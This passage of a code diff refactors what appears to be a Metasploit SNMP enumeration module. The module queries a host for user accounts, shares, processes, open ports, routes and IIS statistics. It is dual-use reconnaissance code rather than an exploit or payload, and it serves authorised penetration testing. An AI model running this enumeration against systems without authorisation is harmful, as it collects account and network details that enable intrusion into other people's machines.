snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.5.0') - if http_totalFilesSent.to_s !~ /Null/ - iis["TotalFilesSent"] = http_totalFilesSent - end - - http_currentAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.6.0') - if http_currentAnonymousUsers.to_s !~ /Null/ - iis["CurrentAnonymousUsers"] = http_currentAnonymousUsers - end - - http_currentNonAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.7.0') - if http_currentNonAnonymousUsers.to_s !~ /Null/ - iis["CurrentNonAnonymousUsers"] = http_currentNonAnonymousUsers - end - - http_totalAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.8.0') - if http_totalAnonymousUsers.to_s !~ /Null/ - iis["TotalAnonymousUsers"] = http_totalAnonymousUsers - end - - http_totalNonAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.9.0') - if http_totalNonAnonymousUsers.to_s !~ /Null/ - iis["TotalNonAnonymousUsers"] = http_totalNonAnonymousUsers - end - - http_maxAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.10.0') - if http_maxAnonymousUsers.to_s !~ /Null/ - iis["MaxAnonymousUsers"] = http_maxAnonymousUsers - end - - http_maxNonAnonymousUsers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.11.0') - if http_maxNonAnonymousUsers.to_s !~ /Null/ - iis["MaxNonAnonymousUsers"] = http_maxNonAnonymousUsers - end - - http_currentConnections = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.12.0') - if http_currentConnections.to_s !~ /Null/ - iis["CurrentConnections"] = http_currentConnections - end - - http_maxConnections = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.13.0') - if http_maxConnections.to_s !~ /Null/ - iis["MaxConnections"] = http_maxConnections - end - - http_connectionAttempts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.14.0') - if http_connectionAttempts.to_s !~ /Null/ - iis["ConnectionAttempts"] = http_connectionAttempts - end - - http_logonAttempts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.15.0') - if http_logonAttempts.to_s !~ /Null/ - iis["LogonAttempts"] = http_logonAttempts - end - - http_totalGets = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.16.0') - if http_totalGets.to_s !~ /Null/ - iis["Gets"] = http_totalGets - end - - http_totalPosts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.17.0') - if http_totalPosts.to_s !~ /Null/ - iis["Posts"] = http_totalPosts - end - - http_totalHeads = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.18.0') - if http_totalHeads.to_s !~ /Null/ - iis["Heads"] = http_totalHeads - end - - http_totalOthers = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.19.0') - if http_totalOthers.to_s !~ /Null/ - iis["Others"] = http_totalOthers - end - - http_totalCGIRequests = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.20.0') - if http_totalCGIRequests.to_s !~ /Null/ - iis["CGIRequests"] = http_totalCGIRequests - end - - http_totalBGIRequests = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.21.0') - if http_totalBGIRequests.to_s !~ /Null/ - iis["BGIRequests"] = http_totalBGIRequests - end - - http_totalNotFoundErrors = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.22.0') - if http_totalNotFoundErrors.to_s !~ /Null/ - iis["NotFoundErrors"] = http_totalNotFoundErrors - end - - if not iis.empty? - output_data["IIS server information"] = iis - end - end - - storage_information = [] - - snmp.walk([ - "1.3.6.1.2.1.25.2.3.1.1", "1.3.6.1.2.1.25.2.3.1.2", "1.3.6.1.2.1.25.2.3.1.3", - "1.3.6.1.2.1.25.2.3.1.4", "1.3.6.1.2.1.25.2.3.1.5", "1.3.6.1.2.1.25.2.3.1.6" - ]) do |index,type,descr,allocation,size,used| - - case type.value.to_s - when /^1.3.6.1.2.1.25.2.1.1$/ - type.value = "Other" - when /^1.3.6.1.2.1.25.2.1.2$/ - type.value = "Ram" - when /^1.3.6.1.2.1.25.2.1.3$/ - type.value = "Virtual Memory" - when /^1.3.6.1.2.1.25.2.1.4$/ - type.value = "Fixed Disk" - when /^1.3.6.1.2.1.25.2.1.5$/ - type.value = "Removable Disk" - when /^1.3.6.1.2.1.25.2.1.6$/ - type.value = "Floppy Disk" - when /^1.3.6.1.2.1.25.2.1.7$/ - type.value = "Compact Disc" - when /^1.3.6.1.2.1.25.2.1.8$/ - type.value = "RamDisk" - when /^1.3.6.1.2.1.25.2.1.9$/ - type.value = "Flash Memory" - when /^1.3.6.1.2.1.25.2.1.10$/ - type.value = "Network Disk" - else - type.value = "unknown" - end - - allocation.value = "unknown" if allocation.value.to_s =~ /noSuchInstance/ - size.value = "unknown" if size.value.to_s =~ /noSuchInstance/ - used.value = "unknown" if used.value.to_s =~ /noSuchInstance/ - - storage_information.push([[descr.value],[index.value],[type.value],[allocation.value],[size.value],[used.value]]) - end - - if not storage_information.empty? - storage = [] - storage_information.each {|a,b,c,d,e,f| - s = {} - - e = number_to_human_size(e,d) - f = number_to_human_size(f,d) - - s["Description"]= a - s["Device id"] = b - s["Filesystem type"] = c - s["Device unit"] = d - s["Memory size"] = e - s["Memory used"] = f - - storage.push(s) + [ 'CVE', '1999-0516' ] + ], + 'Author' => 'Matteo Cantoni ', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } - output_data["Storage information"] = storage - end + ) + ) + end - file_system = {} + # rubocop:disable Metrics/MethodLength + def run_host(ip) + snmp = connect_snmp - hrFSIndex = snmp.get_value('1.3.6.1.2.1.25.3.8.1.1.1') - if hrFSIndex.to_s !~ /Null/ - file_system["Index"] = hrFSIndex - end + fields_order = [ + 'Host IP', 'Hostname', 'Description', 'Contact', + 'Location', 'Uptime snmp', 'Uptime system', + 'System date', 'domain', 'User accounts', + 'Network information', 'Network interfaces', + 'Network IP', 'Routing information', + 'TCP connections and listening ports', 'Listening UDP ports', + 'Network services', 'Share', 'IIS server information', + 'Storage information', 'File system information', + 'Device information', 'Software components', + 'Processes' + ] - hrFSMountPoint = snmp.get_value('1.3.6.1.2.1.25.3.8.1.2.1') - if hrFSMountPoint.to_s !~ /Null/ - file_system["Mount point"] = hrFSMountPoint - end + output_data = { 'Host IP' => ip } - hrFSRemoteMountPoint = snmp.get_value('1.3.6.1.2.1.25.3.8.1.3.1') - if hrFSRemoteMountPoint.to_s !~ /Null/ and hrFSRemoteMountPoint.to_s !~ /^noSuch/ - if hrFSRemoteMountPoint.empty? - hrFSRemoteMountPoint = '-' - end - file_system["Remote mount point"] = hrFSRemoteMountPoint - end + sys_name = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s + output_data['Hostname'] = sys_name.strip - hrFSType = snmp.get_value('1.3.6.1.2.1.25.3.8.1.4.1') + # print connected status after the first query so if there are + # any timeout or connectivity errors; the code would already + # have jumped to error handling where the error status is + # already being displayed. + print_good("#{ip}, Connected.") - case hrFSType.to_s - when /^1.3.6.1.2.1.25.3.9.1$/ - hrFSType = "Other" - when /^1.3.6.1.2.1.25.3.9.2$/ - hrFSType = "Unknown" - when /^1.3.6.1.2.1.25.3.9.3$/ - hrFSType = "BerkeleyFFS" - when /^1.3.6.1.2.1.25.3.9.4$/ - hrFSType = "Sys5FS" - when /^1.3.6.1.2.1.25.3.9.5$/ - hrFSType = "Fat" - when /^1.3.6.1.2.1.25.3.9.6$/ - hrFSType = "HPFS" - when /^1.3.6.1.2.1.25.3.9.7$/ - hrFSType = "HFS" - when /^1.3.6.1.2.1.25.3.9.8$/ - hrFSType = "MFS" - when /^1.3.6.1.2.1.25.3.9.9$/ - hrFSType = "NTFS" - when /^1.3.6.1.2.1.25.3.9.10$/ - hrFSType = "VNode" - when /^1.3.6.1.2.1.25.3.9.11$/ - hrFSType = "Journaled" - when /^1.3.6.1.2.1.25.3.9.12$/ - hrFSType = "iso9660" - when /^1.3.6.1.2.1.25.3.9.13$/ - hrFSType = "RockRidge" - when /^1.3.6.1.2.1.25.3.9.14$/ - hrFSType = "NFS" - when /^1.3.6.1.2.1.25.3.9.15$/ - hrFSType = "Netware" - when /^1.3.6.1.2.1.25.3.9.16$/ - hrFSType = "AFS" - when /^1.3.6.1.2.1.25.3.9.17$/ - hrFSType = "DFS" - when /^1.3.6.1.2.1.25.3.9.18$/ - hrFSType = "Appleshare" - when /^1.3.6.1.2.1.25.3.9.19$/ - hrFSType = "RFS" - when /^1.3.6.1.2.1.25.3.9.20$/ - hrFSType = "DGCFS" - when /^1.3.6.1.2.1.25.3.9.21$/ - hrFSType = "BFS" - when /^1.3.6.1.2.1.25.3.9.22$/ - hrFSType = "FAT32" - when /^1.3.6.1.2.1.25.3.9.23$/ - hrFSType = "LinuxExt2" - else - hrFSType = "Null" - end + sys_desc = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s + sys_desc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ') + output_data['Description'] = sys_desc.strip - if hrFSType.to_s !~ /Null/ - file_system["Type"] = hrFSType - end + sys_contact = snmp.get_value('1.3.6.1.2.1.1.4.0').to_s + output_data['Contact'] = sys_contact.strip - hrFSAccess = snmp.get_value('1.3.6.1.2.1.25.3.8.1.5.1') - if hrFSAccess.to_s !~ /Null/ - file_system["Access"] = hrFSAccess - end + sys_location = snmp.get_value('1.3.6.1.2.1.1.6.0').to_s + output_data['Location'] = sys_location.strip - hrFSBootable = snmp.get_value('1.3.6.1.2.1.25.3.8.1.6.1') - if hrFSBootable.to_s !~ /Null/ - file_system["Bootable"] = hrFSBootable - end + sys_up_time_instance = snmp.get_value('1.3.6.1.2.1.1.3.0').to_s + output_data['Uptime system'] = sys_up_time_instance.strip - if not file_system.empty? - output_data["File system information"] = file_system - end + hr_system_uptime = snmp.get_value('1.3.6.1.2.1.25.1.1.0').to_s + output_data['Uptime snmp'] = hr_system_uptime =~ /Null/ ? '-' : hr_system_uptime.strip - device_information = [] + system_date = snmp.get_value('1.3.6.1.2.1.25.1.2.0') + if system_date.blank? || system_date =~ /Null/ || system_date =~ /^noSuch/ + output_data['System date'] = '-' + else - snmp.walk([ - "1.3.6.1.2.1.25.3.2.1.1", "1.3.6.1.2.1.25.3.2.1.2", - "1.3.6.1.2.1.25.3.2.1.5", "1.3.6.1.2.1.25.3.2.1.3" - ]) do |index,type,status,descr| + # RFC 2579 - Textual Conventions for SMIv2 + # http://www.faqs.org/rfcs/rfc2579.html - case type.value.to_s - when /^1.3.6.1.2.1.25.3.1.1$/ - type.value = "Other" - when /^1.3.6.1.2.1.25.3.1.2$/ - type.value = "Unknown" - when /^1.3.6.1.2.1.25.3.1.3$/ - type.value = "Processor" - when /^1.3.6.1.2.1.25.3.1.4$/ - type.value = "Network" - when /^1.3.6.1.2.1.25.3.1.5$/ - type.value = "Printer" - when /^1.3.6.1.2.1.25.3.1.6$/ - type.value = "Disk Storage" - when /^1.3.6.1.2.1.25.3.1.10$/ - type.value = "Video" - when /^1.3.6.1.2.1.25.3.1.11$/ - type.value = "Audio" - when /^1.3.6.1.2.1.25.3.1.12$/ - type.value = "Coprocessor" - when /^1.3.6.1.2.1.25.3.1.13$/ - type.value = "Keyboard" - when /^1.3.6.1.2.1.25.3.1.14$/ - type.value = "Modem" - when /^1.3.6.1.2.1.25.3.1.15$/ - type.value = "Parallel Port" - when /^1.3.6.1.2.1.25.3.1.16$/ - type.value = "Pointing" - when /^1.3.6.1.2.1.25.3.1.17$/ - type.value = "Serial Port" - when /^1.3.6.1.2.1.25.3.1.18$/ - type.value = "Tape" - when /^1.3.6.1.2.1.25.3.1.19$/ - type.value = "Clock" - when /^1.3.6.1.2.1.25.3.1.20$/ - type.value = "Volatile Memory" - when /^1.3.6.1.2.1.25.3.1.21$/ - type.value = "Non Volatile Memory" - else - type.value = "unknown" - end + system_date = system_date.unpack('C*') - case status.value - when 1 - status.value = "unknown" - when 2 - status.value = "running" - when 3 - status.value = "warning" - when 4 - status.value = "testing" - when 5 - status.value = "down" - else - status.value = "unknown" - end - - descr.value = "unknown" if descr.value.to_s =~ /noSuchInstance/ - - device_information.push([index.value, type.value, status.value, descr.value]) - end - - if not device_information.empty? - output_data["Device information"] = [["Id","Type","Status","Descr"]] + device_information - end - - software_list = [] - - snmp.walk(["1.3.6.1.2.1.25.6.3.1.1","1.3.6.1.2.1.25.6.3.1.2"]) do |index,name| - software_list.push([index.value,name.value]) - end - - if not software_list.empty? - output_data["Software components"] = [["Index","Name"]] + software_list - end - - process_interfaces = [] - - snmp.walk([ - "1.3.6.1.2.1.25.4.2.1.1", "1.3.6.1.2.1.25.4.2.1.2", "1.3.6.1.2.1.25.4.2.1.4", - "1.3.6.1.2.1.25.4.2.1.5", "1.3.6.1.2.1.25.4.2.1.7" - ]) do |id,name,path,param,status| - - if status.value == 1 - status.value = "running" - elsif status.value == 2 - status.value = "runnable" - else - status.value = "unknown" - end - - process_interfaces.push([id.value, status.value, name.value, path.value, param.value]) - end - - if not process_interfaces.empty? - output_data["Processes"] = [["Id","Status","Name","Path","Parameters"]] + process_interfaces - end - - print_line("\n[*] System information:\n") - - line = "" - width = 30 # name field width - twidth = 32 # table like display cell width - - fields_order.each {|k| - if not output_data.has_key?(k) - next - end - - v = output_data[k] - - case v - when Array - content = "" - - v.each{ |a| - case a - when Hash - a.each{ |sk, sv| - sk = truncate_to_twidth(sk, twidth) - content << sprintf("%s%s: %s\n", sk, " "*([0,width-sk.length].max), sv) - } - content << "\n" - when Array - a.each { |sv| - sv = sv.to_s.strip - # I don't like cutting info - #sv = truncate_to_twidth(sv, twidth) - content << sprintf("%-20s", sv) - } - content << "\n" - else - content << sprintf(" %s\n", a) - content << "\n" - end - } - - report_note( - :host => ip, - :proto => 'udp', - :sname => 'snmp', - :port => datastore['RPORT'].to_i, - :type => "snmp.#{k}", - :data => { :content => content } - ) - - line << "\n[*] #{k}:\n\n#{content}" - - when Hash - content = "" - v.each{ |sk, sv| - sk = truncate_to_twidth(sk,twidth) - content << sprintf("%s%s: %s\n", sk, " "*([0,width-sk.length].max), sv) - } - - report_note( - :host => ip, - :proto => 'udp', - :sname => 'snmp', - :port => datastore['RPORT'].to_i, - :type => "snmp.#{k}", - :data => { :content => content } - ) - - line << "\n[*] #{k}:\n\n#{content}" - content << "\n" - else - if (v.nil? or v.empty? or v =~ /Null/) - v = '-' - end - - report_note( - :host => ip, - :proto => 'udp', - :sname => 'snmp', - :port => datastore['RPORT'].to_i, - :type => "snmp.#{k}", - :data => { :content => v } - ) - - k = truncate_to_twidth(k,twidth) - line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v) - end - } - - print_line(line) - print_line('') - - rescue SNMP::RequestTimeout - print_error("#{ip} SNMP request timeout.") - rescue Rex::ConnectionError - print_error("#{ip} Connection refused.") - rescue SNMP::InvalidIpAddress - print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.") - rescue SNMP::UnsupportedVersion - print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") - rescue SNMP::ParseError - print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.") - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - elog(e) - ensure - disconnect_snmp + output_data['System date'] = format( + '%d-%d-%d %02d:%02d:%02d.%d', + year: system_date[0] * 256 + system_date[1], + month: system_date[2] || 0, + day: system_date[3] || 0, + hour: system_date[4] || 0, + minutes: system_date[5] || 0, + seconds: system_date[6] || 0, + tenths: system_date[7] || 0 + ) end + + if (sys_desc =~ /Windows/) + dom_primary_domain = snmp.get_value('1.3.6.1.4.1.77.1.4.1.0').to_s + + output_data['Domain'] = dom_primary_domain.strip + + users = [] + + snmp.walk(['1.3.6.1.4.1.77.1.2.25.1.1', '1.3.6.1.4.1.77.1.2.25.1']) do |user, _entry| + users.push([[user.value]]) + end + + if !users.empty? + output_data['User accounts'] = users + end + end + + network_information = {} + + ip_forwarding = snmp.get_value('1.3.6.1.2.1.4.1.0') + + if ip_forwarding == 0 || ip_forwarding == 2 + ip_forwarding = 'no' + network_information['IP forwarding enabled'] = ip_forwarding + elsif ip_forwarding == 1 + ip_forwarding = 'yes' + network_information['IP forwarding enabled'] = ip_forwarding + end + + ip_default_ttl = snmp.get_value('1.3.6.1.2.1.4.2.0') + if ip_default_ttl.to_s !~ /Null/ + network_information['Default TTL'] = ip_default_ttl + end + + tcp_in_segs = snmp.get_value('1.3.6.1.2.1.6.10.0') + if tcp_in_segs.to_s !~ /Null/ + network_information['TCP segments received'] = tcp_in_segs + end + + tcp_out_segs = snmp.get_value('1.3.6.1.2.1.6.11.0') + if tcp_out_segs.to_s !~ /Null/ + network_information['TCP segments sent'] = tcp_out_segs + end + + tcp_retrans_segs = snmp.get_value('1.3.6.1.2.1.6.12.0') + if tcp_retrans_segs.to_s !~ /Null/ + network_information['TCP segments retrans'] = tcp_retrans_segs + end + + ip_in_receives = snmp.get_value('1.3.6.1.2.1.4.3.0') + if ip_in_receives.to_s !~ /Null/ + network_information['Input datagrams'] = ip_in_receives + end + + ip_in_delivers = snmp.get_value('1.3.6.1.2.1.4.9.0') + if ip_in_delivers.to_s !~ /Null/ + network_information['Delivered datagrams'] = ip_in_delivers + end + + ip_out_requests = snmp.get_value('1.3.6.1.2.1.4.10.0') + if ip_out_requests.to_s !~ /Null/ + network_information['Output datagrams'] = ip_out_requests + end + + unless network_information.blank? + output_data['Network information'] = network_information + end + + network_interfaces = [] + + # rubocop:disable Metrics/ParameterLists + snmp.walk([ + '1.3.6.1.2.1.2.2.1.1', '1.3.6.1.2.1.2.2.1.2', '1.3.6.1.2.1.2.2.1.6', + '1.3.6.1.2.1.2.2.1.3', '1.3.6.1.2.1.2.2.1.4', '1.3.6.1.2.1.2.2.1.5', + '1.3.6.1.2.1.2.2.1.10', '1.3.6.1.2.1.2.2.1.16', '1.3.6.1.2.1.2.2.1.7' + ]) do |index, descr, mac, type, mtu, speed, inoc, outoc, status| + # rubocop:enable Metrics/ParameterLists + ifindex = index.value + ifdescr = descr.value + ifmac = mac.value.to_s =~ /noSuchInstance/ ? 'unknown' : mac.value.unpack('H2H2H2H2H2H2').join(':') + iftype = type.value + ifmtu = mtu.value + ifspeed = speed.value.to_s =~ /noSuchInstance/ ? 'unknown' : speed.value.to_i / 1000000 + ifinoc = inoc.value + ifoutoc = outoc.value + ifstatus = status.value + + case iftype + when 1 + iftype = 'other' + when 2 + iftype = 'regular1822' + when 3 + iftype = 'hdh1822' + when 4 + iftype = 'ddn-x25' + when 5 + iftype = 'rfc877-x25' + when 6 + iftype = 'ethernet-csmacd' + when 7 + iftype = 'iso88023-csmacd' + when 8 + iftype = 'iso88024-tokenBus' + when 9 + iftype = 'iso88025-tokenRing' + when 10 + iftype = 'iso88026-man' + when 11 + iftype = 'starLan' + when 12 + iftype = 'proteon-10Mbit' + when 13 + iftype = 'proteon-80Mbit' + when 14 + iftype = 'hyperchannel' + when 15 + iftype = 'fddi' + when 16 + iftype = 'lapb' + when 17 + iftype = 'sdlc' + when 18 + iftype = 'ds1' + when 19 + iftype = 'e1' + when 20 + iftype = 'basicISDN' + when 21 + iftype = 'primaryISDN' + when 22 + iftype = 'propPointToPointSerial' + when 23 + iftype = 'ppp' + when 24 + iftype = 'softwareLoopback' + when 25 + iftype = 'eon' + when 26 + iftype = 'ethernet-3Mbit' + when 27 + iftype = 'nsip' + when 28 + iftype = 'slip' + when 29 + iftype = 'ultra' + when 30 + iftype = 'ds3' + when 31 + iftype = 'sip' + when 32 + iftype = 'frame-relay' + else + iftype = 'unknown' + end + + case ifstatus + when 1 + ifstatus = 'up' + when 2 + ifstatus = 'down' + when 3 + ifstatus = 'testing' + else + ifstatus = 'unknown' + end + + network_interfaces.push({ + 'Interface' => "[ #{ifstatus} ] #{ifdescr}", + 'Id' => ifindex, + 'Mac Address' => ifmac, + 'Type' => iftype, + 'Speed' => "#{ifspeed} Mbps", + 'MTU' => ifmtu, + 'In octets' => ifinoc, + 'Out octets' => ifoutoc + }) + end + + if !network_interfaces.empty? + output_data['Network interfaces'] = network_interfaces + end + + network_ip = [] + + snmp.walk([ + '1.3.6.1.2.1.4.20.1.2', '1.3.6.1.2.1.4.20.1.1', + '1.3.6.1.2.1.4.20.1.3', '1.3.6.1.2.1.4.20.1.4' + ]) do |ifid, ipaddr, netmask, bcast| + network_ip.push([ifid.value, ipaddr.value, netmask.value, bcast.value]) + end + + if !network_ip.empty? + output_data['Network IP'] = [['Id', 'IP Address', 'Netmask', 'Broadcast']] + network_ip + end + + routing = [] + + snmp.walk([ + '1.3.6.1.2.1.4.21.1.1', '1.3.6.1.2.1.4.21.1.7', + '1.3.6.1.2.1.4.21.1.11', '1.3.6.1.2.1.4.21.1.3' + ]) do |dest, hop, mask, metric| + if metric.value.to_s.empty? + metric.value = '-' + end + routing.push([dest.value, hop.value, mask.value, metric.value]) + end + + if !routing.empty? + output_data['Routing Information'] = [['Destination', 'Next Hop', 'Mask', 'Metric']] + routing + end + + tcp = [] + + snmp.walk([ + '1.3.6.1.2.1.6.13.1.2', '1.3.6.1.2.1.6.13.1.3', '1.3.6.1.2.1.6.13.1.4', + '1.3.6.1.2.1.6.13.1.5', '1.3.6.1.2.1.6.13.1.1' + ]) do |ladd, lport, radd, rport, state| + if ladd.value.to_s.empty? || ladd.value.to_s =~ /noSuchInstance/ + ladd = '-' + else + ladd = ladd.value + end + + if lport.value.to_s.empty? || lport.value.to_s =~ /noSuchInstance/ + lport = '-' + else + lport = lport.value + end + + if radd.value.to_s.empty? || radd.value.to_s =~ /noSuchInstance/ + radd = '-' + else + radd = radd.value + end + + if rport.value.to_s.empty? || rport.value.to_s =~ /noSuchInstance/ + rport = '-' + else + rport = rport.value + end + + case state.value + when 1 + state = 'closed' + when 2 + state = 'listen' + when 3 + state = 'synSent' + when 4 + state = 'synReceived' + when 5 + state = 'established' + when 6 + state = 'finWait1' + when 7 + state = 'finWait2' + when 8 + state = 'closeWait' + when 9 + state = 'lastAck' + when 10 + state = 'closing' + when 11 + state = 'timeWait' + when 12 + state = 'deleteTCB' + else + state = 'unknown' + end + + tcp.push([ladd, lport, radd, rport, state]) + end + + if !tcp.empty? + output_data['TCP connections and listening ports'] = [['Local address', 'Local port', 'Remote address', 'Remote port', 'State']] + tcp + end + + udp = [] + + snmp.walk(['1.3.6.1.2.1.7.5.1.1', '1.3.6.1.2.1.7.5.1.2']) do |ladd, lport| + udp.push([ladd.value, lport.value]) + end + + if !udp.empty? + output_data['Listening UDP ports'] = [['Local address', 'Local port']] + udp + end + + if (sys_desc =~ /Windows/) + network_services = [] + n = 0 + snmp.walk(['1.3.6.1.4.1.77.1.2.3.1.1', '1.3.6.1.4.1.77.1.2.3.1.2']) do |name, _installed| + network_services.push([n, name.value]) + n += 1 + end + + if !network_services.empty? + output_data['Network services'] = [['Index', 'Name']] + network_services + end + + share = [] + + snmp.walk([ + '1.3.6.1.4.1.77.1.2.27.1.1', '1.3.6.1.4.1.77.1.2.27.1.2', '1.3.6.1.4.1.77.1.2.27.1.3' + ]) do |name, path, comment| + share.push({ ' Name' => name.value, ' Path' => path.value, ' Comment' => comment.value }) + end + + if !share.empty? + output_data['Share'] = share + end + + iis = {} + + http_total_bytes_sent_low_word = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.2.0') + if http_total_bytes_sent_low_word.to_s !~ /Null/ + iis['TotalBytesSentLowWord'] = http_total_bytes_sent_low_word + end + + http_total_bytes_received_low_word = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.4.0') + if http_total_bytes_received_low_word.to_s !~ /Null/ + iis['TotalBytesReceivedLowWord'] = http_total_bytes_received_low_word + end + + http_total_files_sent = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.5.0') + if http_total_files_sent.to_s !~ /Null/ + iis['TotalFilesSent'] = http_total_files_sent + end + + http_current_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.6.0') + if http_current_anonymous_users.to_s !~ /Null/ + iis['CurrentAnonymousUsers'] = http_current_anonymous_users + end + + http_current_non_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.7.0') + if http_current_non_anonymous_users.to_s !~ /Null/ + iis['CurrentNonAnonymousUsers'] = http_current_non_anonymous_users + end + + http_total_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.8.0') + if http_total_anonymous_users.to_s !~ /Null/ + iis['TotalAnonymousUsers'] = http_total_anonymous_users + end + + http_total_non_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.9.0') + if http_total_non_anonymous_users.to_s !~ /Null/ + iis['TotalNonAnonymousUsers'] = http_total_non_anonymous_users + end + + http_max_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.10.0') + if http_max_anonymous_users.to_s !~ /Null/ + iis['MaxAnonymousUsers'] = http_max_anonymous_users + end + + http_max_non_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.11.0') + if http_max_non_anonymous_users.to_s !~ /Null/ + iis['MaxNonAnonymousUsers'] = http_max_non_anonymous_users + end + + http_current_connections = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.12.0') + if http_current_connections.to_s !~ /Null/ + iis['CurrentConnections'] = http_current_connections + end + + http_max_connections = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.13.0') + if http_max_connections.to_s !~ /Null/ + iis['MaxConnections'] = http_max_connections + end + + http_connection_attempts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.14.0') + if http_connection_attempts.to_s !~ /Null/ + iis['ConnectionAttempts'] = http_connection_attempts + end + + http_logon_attempts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.15.0') + if http_logon_attempts.to_s !~ /Null/ + iis['LogonAttempts'] = http_logon_attempts + end + + http_total_gets = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.16.0') + if http_total_gets.to_s !~ /Null/ + iis['Gets'] = http_total_gets + end + + http_total_posts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.17.0') + if http_total_posts.to_s !~ /Null/ + iis['Posts'] = http_total_posts + end + + http_total_heads = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.18.0') + if http_total_heads.to_s !~ /Null/ + iis['Heads'] = http_total_heads + end + + http_total_others = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.19.0') + if http_total_others.to_s !~ /Null/ + iis['Others'] = http_total_others + end + + http_total_cgi_requests = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.20.0') + if http_total_cgi_requests.to_s !~ /Null/ + iis['CGIRequests'] = http_total_cgi_requests + end + + # Was this supposed to be "CGI" requests? + http_total_bgi_requests = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.21.0') + if http_total_bgi_requests.to_s !~ /Null/ + iis['BGIRequests'] = http_total_bgi_requests + end + + http_total_not_found_errors = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.22.0') + if http_total_not_found_errors.to_s !~ /Null/ + iis['NotFoundErrors'] = http_total_not_found_errors + end + + if !iis.empty? + output_data['IIS server information'] = iis + end + end + + storage_information = [] + + snmp.walk([ + '1.3.6.1.2.1.25.2.3.1.1', '1.3.6.1.2.1.25.2.3.1.2', '1.3.6.1.2.1.25.2.3.1.3', + '1.3.6.1.2.1.25.2.3.1.4', '1.3.6.1.2.1.25.2.3.1.5', '1.3.6.1.2.1.25.2.3.1.6' + ]) do |index, type, descr, allocation, size, used| + case type.value.to_s + when /^1.3.6.1.2.1.25.2.1.1$/ + type.value = 'Other' + when /^1.3.6.1.2.1.25.2.1.2$/ + type.value = 'Ram' + when /^1.3.6.1.2.1.25.2.1.3$/ + type.value = 'Virtual Memory' + when /^1.3.6.1.2.1.25.2.1.4$/ + type.value = 'Fixed Disk' + when /^1.3.6.1.2.1.25.2.1.5$/ + type.value = 'Removable Disk' + when /^1.3.6.1.2.1.25.2.1.6$/ + type.value = 'Floppy Disk' + when /^1.3.6.1.2.1.25.2.1.7$/ + type.value = 'Compact Disc' + when /^1.3.6.1.2.1.25.2.1.8$/ + type.value = 'RamDisk' + when /^1.3.6.1.2.1.25.2.1.9$/ + type.value = 'Flash Memory' + when /^1.3.6.1.2.1.25.2.1.10$/ + type.value = 'Network Disk' + else + type.value = 'unknown' + end + + allocation.value = 'unknown' if allocation.value.to_s =~ /noSuchInstance/ + size.value = 'unknown' if size.value.to_s =~ /noSuchInstance/ + used.value = 'unknown' if used.value.to_s =~ /noSuchInstance/ + + storage_information.push([[descr.value], [index.value], [type.value], [allocation.value], [size.value], [used.value]]) + end + + if !storage_information.empty? + storage = [] + storage_information.each do |a, b, c, d, e, f| + s = {} + + e = number_to_human_size(e, d) + f = number_to_human_size(f, d) + + s['Description'] = a + s['Device id'] = b + s['Filesystem type'] = c + s['Device unit'] = d + s['Memory size'] = e + s['Memory used'] = f + + storage.push(s) + end + output_data['Storage information'] = storage + end + + file_system = {} + + hr_fs_index = snmp.get_value('1.3.6.1.2.1.25.3.8.1.1.1') + if hr_fs_index.to_s !~ /Null/ + file_system['Index'] = hr_fs_index + end + + hr_fs_mount_point = snmp.get_value('1.3.6.1.2.1.25.3.8.1.2.1') + if hr_fs_mount_point.to_s !~ /Null/ + file_system['Mount point'] = hr_fs_mount_point + end + + hr_fs_remote_mount_point = snmp.get_value('1.3.6.1.2.1.25.3.8.1.3.1') + if hr_fs_remote_mount_point.to_s !~ /Null/ && hr_fs_remote_mount_point.to_s !~ /^noSuch/ + if hr_fs_remote_mount_point.empty? + hr_fs_remote_mount_point = '-' + end + file_system['Remote mount point'] = hr_fs_remote_mount_point + end + + hr_fs_type = 